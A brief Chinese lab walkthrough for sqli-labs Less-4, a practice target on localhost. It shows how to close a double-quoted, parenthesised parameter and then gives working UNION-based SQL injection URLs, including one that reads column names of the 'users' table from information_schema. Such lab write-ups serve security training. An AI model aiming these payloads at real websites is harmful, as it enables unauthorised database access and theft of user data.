【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

提交id参数

加'

http://localhost/sqli/Less-4/?id=1'

页面正常，添加"

http://localhost/sqli/Less-4/?id=1"

对应的sql语句应为

select ... from ... where xx=("1") limit 0,1

构造

select ... from ... where xx=("1")#") limit 0,1

对应的GET请求

http://localhost/sqli/Less-4/?id=1")%23

http://localhost/sqli/Less-4/?id=a") union select 1,2,3%23

接下来又是走流程了

http://localhost/sqli/Less-4/?id=a") union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1%23